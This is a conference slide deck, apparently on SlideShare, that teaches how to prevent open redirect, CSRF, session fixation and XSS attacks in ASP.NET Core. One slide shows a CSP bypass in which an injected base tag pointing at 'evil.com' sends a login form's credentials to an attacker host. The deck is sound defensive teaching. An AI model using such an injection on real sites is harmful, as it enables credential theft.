Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 
Доклад SiteSecure
Доклад SiteSecureДоклад SiteSecure
Доклад SiteSecure
 

Recently uploaded

Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clashcharlottematthew16
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostZilliz
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .Alan Dix
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfPrecisely
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek SchlawackFwdays
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024BookNet Canada
 

Recently uploaded (20)

Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clash
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage CostLeverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
Leverage Zilliz Serverless - Up to 50X Saving for Your Vector Storage Cost
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .From Family Reminiscence to Scholarly Archive .
From Family Reminiscence to Scholarly Archive .
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
 
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
"Subclassing and Composition – A Pythonic Tour of Trade-Offs", Hynek Schlawack
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 

Preventing Attacks in ASP.NET Core

  • 1. ptsecurity.com Preventing attacks in ASP .NET Core Mikhail Shcherbakov Independent Developer and Consultant
  • 2. Who am I  Independent Developer and Consultant  Co-organizer of .NET meetups http://dotnet.ru  Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups  Former Product Manager at Cezurity, R&D Developer at Positive Technologies and Team Lead at Acronis, Luxoft, Boeing #2
  • 3. What you can expect  We’re going to talk about preventing Open Redirect, CSRF, XSS attacks, using and architecture of cookies, Data Protection, Session Management, CSP.  We’re not going to discuss authentication and authorization. #3
  • 4. Microsoft .NET Core and ASP.NET Core Bug Bounty Program https://aka.ms/corebounty #4
  • 6.
  • 7. Why do we talk about it? https://github.com/OWASP/Top10/tree/master/2017/datacall #7
  • 9. How to use the prevention mechanism public async Task<IActionResult> Login(LoginViewModel model, string returnUrl) { // ... return LocalRedirect(returnUrl); } private IActionResult RedirectToLocal(string returnUrl) { if (Url.IsLocalUrl(returnUrl)) return Redirect(returnUrl); else return RedirectToAction(nameof(HomeController.Index), "Home"); } #10
  • 12. Overview  No machine keys  High level cryptography out-of-the-box  Key stores out-of-the-box  Supports key rotation automatically  Provides isolation based on purposes automatically #12
  • 13. Protect / Unprotect public class HomeController : Controller { private readonly IDataProtector protector; public HomeController(IDataProtectionProvider provider) { protector = provider.CreateProtector("isolation-purpose"); } public IActionResult Index(string input) { var protectedPayload = protector.Protect(input); var unprotectedPayload = protector.Unprotect(protectedPayload); return View(); } } #13
  • 14. Protect / Unprotect public IActionResult Index(string input) { var timeLimitedProtector = protector.ToTimeLimitedDataProtector(); var protectedData = timeLimitedProtector.Protect(input, lifetime: TimeSpan.FromMinutes(30)); return View(); } #14
  • 15. Password Hashing public void StorePassword(SecureString password) { var salt = new byte[128 / 8]; using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); } var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2( password: password, salt: salt, prf: KeyDerivationPrf.HMACSHA512, iterationCount: 10000, numBytesRequested: 256 / 8)); // store salt and hash to DB... } #15
  • 16. Configuration public void ConfigureServices(IServiceCollection services) { services.AddDataProtection() .SetApplicationName("isolation-name") .SetDefaultKeyLifetime(TimeSpan.FromDays(14)) .PersistKeysToFileSystem(new DirectoryInfo(@"servershare")) .ProtectKeysWithDpapi() .UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings { EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC, ValidationAlgorithm = ValidationAlgorithm.HMACSHA256 }); }
  • 18. Under the hood  The default payload protection algorithm used is AES-256-CBC for confidentiality and HMACSHA256 for authenticity. A 512-bit master key, rolled every 90 days  Protected payload format  32-bit magic header  128-bit key id  the part of specific to the encryptor #16
  • 21. Why do we talk about it?  Official documentation was published on 27 March and it has inaccuracies https://docs.microsoft.com/ru-ru/aspnet/core/security/anti- request-forgery  This is an excellent example how to work with cookies! #19
  • 25. AutoValidateAntiforgeryToken public class Startup { public void ConfigureServices(IServiceCollection services) { services.AddMvc(options => options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute())); } } #23
  • 26. ValidateAntiForgeryToken IgnoreAntiforgeryToken [ValidateAntiForgeryToken] public class CustomController : Controller { [HttpPost] [IgnoreAntiforgeryToken] public IActionResult DoSomething(SomeViewModel model) { // no antiforgery token required } } #24
  • 27. Generate AntiForgery tokens automatically <form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]" method="post" class="form-horizontal"> <h4>Use a local account to log in.</h4> <div asp-validation-summary="All" class="text-danger"></div> <div class="form-group">...</div> </form> <form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate"> <h4>Use a local account to log in.</h4> <div class="text-danger validation-summary-valid" data-valmsg-summary="true"> <ul><li style="display: none"></li></ul> </div> <div class="form-group">...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1 </form> #25
  • 28. Add AntiForgery token explicitly <form action="/" method="post"> @Html.AntiForgeryToken() </form> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s #26
  • 29. AJAX, WebAPI, SPAs…  Do you use authentication cookies?  No cookies, no problems… except for stealing a token by XSS  For example, you may use JSON Web Token (JWT)  Yes, I do… Go next page #27
  • 30. AJAX, WebAPI, SPAs… @inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Xsrf @functions{ public string GetAntiXsrfRequestToken() { return Xsrf.GetAndStoreTokens(Context).RequestToken; } } <input type="button" id="antiforgery" value="Antiforgery" /> <script> $("#antiforgery").click(function () { $.ajax({ type: "post", dataType: "html", headers: { "RequestVerificationToken": '@GetAntiXsrfRequestToken()' }, url: '@Url.Action("Antiforgery", "Home")', }); }); #28
  • 32. Under the Hood <form method="post" action="/Home/MyAction"> <div>...</div> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049 </form> https://github.com/aspnet/Antiforgery #30
  • 33. New Token private static readonly RandomNumberGenerator randomNumberGenerator = RandomNumberGenerator.Create(); private static byte[] GenerateNewToken(int bitLength) { var data = new byte[bitLength / 8]; randomNumberGenerator.GetBytes(data); return data; } #31
  • 34. Cookie Attributes: Domain and Path public class ResponseCookies : IResponseCookies { public void Append(string key, string value, CookieOptions options) { var cookieHeaderValue = new SetCookieHeaderValue( Uri.EscapeDataString(key), Uri.EscapeDataString(value)); cookieHeaderValue.Domain = options.Domain; cookieHeaderValue.Path = options.Path; #32
  • 36. Using HttpOnly is enough? cryptoSystem = provider.CreateProtector( "Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1"); // ... var bytes = cryptoSystem.Protect(stream.ToArray()); #34
  • 37. Why isn't it enough again? /* The serialized format of the anti-XSRF token is as follows: * Version: 1 byte integer * SecurityToken: 16 byte binary blob * IsCookieToken: 1 byte Boolean * [if IsCookieToken != true] * +- IsClaimsBased: 1 byte Boolean * | [if IsClaimsBased = true] * | `- ClaimUid: 32 byte binary blob * | [if IsClaimsBased = false] * | `- Username: UTF-8 string with 7-bit integer length prefix * `- AdditionalData: UTF-8 string with 7-bit integer length prefix */ #35
  • 40. Overview private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #38
  • 42. Why do we talk about it?  The current implementation has a weakness that can be the cause of Session Fixation attack.  The Session Fixation took 2th prize in OWASP Top 10. #40
  • 43. Demo code private string GetMessageFromCacheOrDb() { // check session cache byte[] value; if (HttpContext.Session.TryGetValue("msg", out value)) { return System.Text.Encoding.UTF8.GetString(value); } var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name); HttpContext.Session.SetString("msg", valueMessage); return valueMessage; } #41
  • 44.
  • 45. Session Fixation in ASP .NET Core  Don’t store security sensitive data in a session!..  Or die fix it in your project. #43
  • 47. Why do we talk about it?  The XSS is the most popular attack to web applications  https://github.com/OWASP/Top10/tree/master/2017/datacall  https://twitter.com/kochetkov_v/status/857575220160462850  This is a good entry point for other attacks with more impact  Only some people know and correctly use built-in XSS prevention mechanisms #45
  • 48. Same-origin policy (SOP)  URI scheme (http)  Hostname (my-domain.com)  Port number (80) #46
  • 51. Encoding points  HTML  JavaScript  URL  XML  SVG #49
  • 52. Encoding points  HtmlEncoder (@<member> in .cshtml)  JavaScriptEncoder  UrlEncoder  Any sanitizer https://github.com/mganss/HtmlSanitizer #50
  • 53. Content Security Policy (CSP) app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("Content-Security-Policy", "default-src 'self'; report-uri /cspreport"); await next(); }); #51
  • 54. CSP Report Request public class CspReportRequest { [JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; } } public class CspReport { [JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; } [JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; } [JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; } [JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;} [JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; } [JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; } [JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; } } #52
  • 55. CSP Report Endpoint [HttpPost("~/cspreport")] public IActionResult CspReport([FromBody] CspReportRequest request) { // log and analyze the report... return Ok(); } #53
  • 56. Bypass <base href='http://evil.com/'> <form method="post" class="form-horizontal" action="/Account/Login"> <h4>Use a local account to log in.</h4> <input type="email" id="Email" name="Email" value="" /> <input type="password" id="Password" name="Password" /> <button type="submit">Log in</button> <input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N </form> #54
  • 57. x-xss-protection app.UseMvc(); app.Use(async (context, next) => { context.Response.Headers.Add("x-xss-protection", "1"); await next(); }); #55
  • 58. Summary  Michal Zalewski “Tangled Web. A Guide to Securing Modern Web Applications”  Stan Drapkin “Security Driven .NET”  OWASP Testing Guide v4 #56
  • 59. Questions?! Mikhail Shcherbakov @yu5k3 https://www.linkedin.com/in/mikhailshcherbakov Independent Developer and Consultant The presentation contains footage from Olive Kitteridge

Editor's Notes

  1. Positive Technologies Top 10
  2. https://docs.microsoft.com/en-us/aspnet/core/security/data-protection/configuration/machine-wide-policy
  3. Except: GET HEAD OPTIONS TRACE
  4. Потенциальные проблемы с авторизацией
  5. Why using HttpOnly attribute is not enough?
  6. Set cookie before the server (XSS, Set-Cookie header) В распределенной системе вы должны позаботиться о key store доступный всем серверам
  7. Authentication cookie Session cookie Differences with ASP .NET WebForms/MVC implementation
  8. Упомянуть про script-nonce
  9. https://msdn.microsoft.com/en-us/library/dd565647